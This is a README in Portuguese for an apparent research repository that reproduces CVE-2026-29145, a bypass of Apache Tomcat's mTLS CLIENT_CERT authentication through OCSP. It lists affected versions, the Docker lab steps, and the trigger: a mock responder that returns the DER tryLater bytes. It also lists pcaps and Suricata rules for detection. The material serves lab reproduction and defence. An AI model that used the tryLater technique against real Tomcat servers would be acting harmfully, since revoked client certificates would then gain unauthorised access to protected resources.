
Ambiente de PoC reproduzível para CVE-2026-29145 Apache Tomcat bypass de soft-fail CLIENT_CERT + OCSP, incluindo scripts de exploit, responder OCSP mock e regras de detecção do Suricata.
Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass ambiente de reprodução completo, pacotes de tráfego de exploração e material para criação de regras de detecção no Suricata.
Apenas para pesquisa de segurança autorizada e desenvolvimento de regras de detecção. Não use em sistemas não autorizados.
| Item | Descrição |
|---|---|
| CVE | CVE-2026-29145 |
| Componente | Apache Tomcat / Tomcat Native |
| Tipo | Bypass de autenticação (mTLS / CLIENT_CERT) |
| CVSS | 9.1 (NVD) / Moderada (Apache) |
| Versões afetadas | Tomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18; Native 2.0.0–2.0.13, etc. |
| Versões corrigidas | Tomcat 10.1.53+ / 9.0.116+ / 11.0.20+; Native 2.0.14+ |
Quando o Tomcat está configurado com CLIENT_CERT e OCSP, e com ocspSoftFail=false (falha rígida), alguns caminhos de falha OCSP (especialmente o status de resposta tryLater) ainda não são tratados como falha rígida, fazendo com que certificados de cliente que deveriam ser rejeitados sejam aceitos, permitindo acesso a recursos protegidos.
A correção oficial (ex.: commit fe26667c do Tomcat) alinhou o tratamento do OCSP TRY_LATER no caminho FFM com o Tomcat Native.
No Tomcat 10.1.52 + Tomcat Native 2.0.12:
| Comportamento OCSP | ocspSoftFail | Resultado |
|---|---|---|
DER tryLater (30 03 0a 01 03) | false | HTTP 200 — Bypass bem-sucedido |
| HTTP 500 | false | TLS rejeitado (falha rígida ativa) |
| Timeout OCSP | false | TLS rejeitado |
| Qualquer falha | true | 200 (soft-fail esperado) |
Ponto crítico: é necessário retornar tryLater conforme RFC 6960; apenas HTTP 500 não é suficiente para disparar o bypass neste ambiente.
CVE-2026-29145-Everything/
├── README.md # Este arquivo
├── REPRODUCTION.md # Notas detalhadas de reprodução e dicas para Suricata
├── docker-compose.yml # Tomcat vulnerável + Mock OCSP
├── poc_exploit.py # Script de exploração/detecção (exit 10 = vulnerável)
├── simple_proxy_fail.py # Mock OCSP (fail / succeed / try_later / internal_error)
├── setup_certs.sh # Gera certificados CA / servidor / cliente (com AIA OCSP)
├── capture_exploit.sh # Captura de pacotes com um clique
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│ ├── server.xml # mTLS + ocspEnabled + ocspSoftFail=false
│ ├── tomcat-users.xml # Mapeamento de usuários CLIENT-CERT
│ ├── ROOT/ # Patch mínimo para a imagem oficial padrão ROOT
│ └── protected/ # Recurso protegido + web.xml (CLIENT-CERT)
└── pcaps/ # ★ Tráfego de exploração já capturado (para criar regras)
├── CVE-2026-29145-mtls-and-ocsp.pcap # Pacote principal: mTLS + OCSP
├── CVE-2026-29145-ocsp-only.pcap # Apenas OCSP em texto claro
├── CVE-2026-29145-mtls-only.pcap # Apenas TLS na porta 8443
└── exploit_response.html # Snapshot da resposta de exploração bem-sucedida
O diretório de chaves privadas certs/ é ignorado por padrão no .gitignore e deve ser gerado localmente.
pip install -r requirements.txt ou python3-requests do sistema)git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything
# 1. Gerar certificados (AIA aponta para o nome do serviço OCSP no Docker)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh
# 2. Iniciar o ambiente (padrão OCSP_MODE=try_later)
docker compose up -d
# Aguardar healthy
docker compose ps
# 3. Executar o PoC
python3 poc_exploit.py
# Saída esperada:
# [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# Código de saída 10 = vulnerável; 0 = não explorável / corrigido
Verificação manual:
curl -sk --http1.1 \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://127.0.0.1:8443/protected-resource/
./capture_exploit.sh
# Saída em pcaps/CVE-2026-29145-*.pcap
O repositório já inclui um pcap de exploração bem-sucedida, que pode ser usado diretamente para validação de regras Suricata, sem necessidade de recapturar.
# tryLater — caminho de disparo do CVE (padrão)
OCSP_MODE=try_later docker compose up -d --force-recreate
# Falha HTTP 500 (neste ambiente, falha rígida rejeita)
OCSP_MODE=fail docker compose up -d --force-recreate
# Simular OCSP bem-sucedido (body não é DER real, apenas teste de conectividade)
OCSP_MODE=succeed docker compose up -d --force-recreate
# DER internalError
OCSP_MODE=internal_error docker compose up -d --force-recreate
Importante: A porta 8443 é mTLS criptografado com TLS 1.3; abri-la diretamente no Wireshark parece lixo.
A porta 8888 é OCSP HTTP em texto claro; para criar regras, priorize o OCSP.
Instruções completas em pcaps/README.md.
| Arquivo | Descrição |
|---|---|
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.log | Sessão completa descriptografável |
pcaps/CVE-2026-29145-ocsp-only.pcap | OCSP em texto claro (sem necessidade de chaves) |
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txt | Texto legível HTTP OCSP |
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt | Texto HTTP do negócio descriptografado |
rules/cve-2026-29145.rules | Regras Suricata de exemplo |
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request
HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5
[5 bytes DER] 30 03 0a 01 03 # tryLater
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0
HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted
Wireshark: Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log -Y 'http && tcp.port==8443' -V
Detalhes completos em REPRODUCTION.md e pcaps/README.md.
<Connector port="8443" SSLEnabled="true"
sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
...>
<SSLHostConfig
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem"
ocspEnabled="true"
ocspSoftFail="false"
ocspTimeout="5">
<Certificate ... />
</SSLHostConfig>
</Connector>
O CLIENT-CERT da camada de aplicação está em tomcat/protected/WEB-INF/web.xml.
ocspSoftFail e a acessibilidade do OCSP; realize testes de regressão para comportamentos de inacessibilidade/tryLater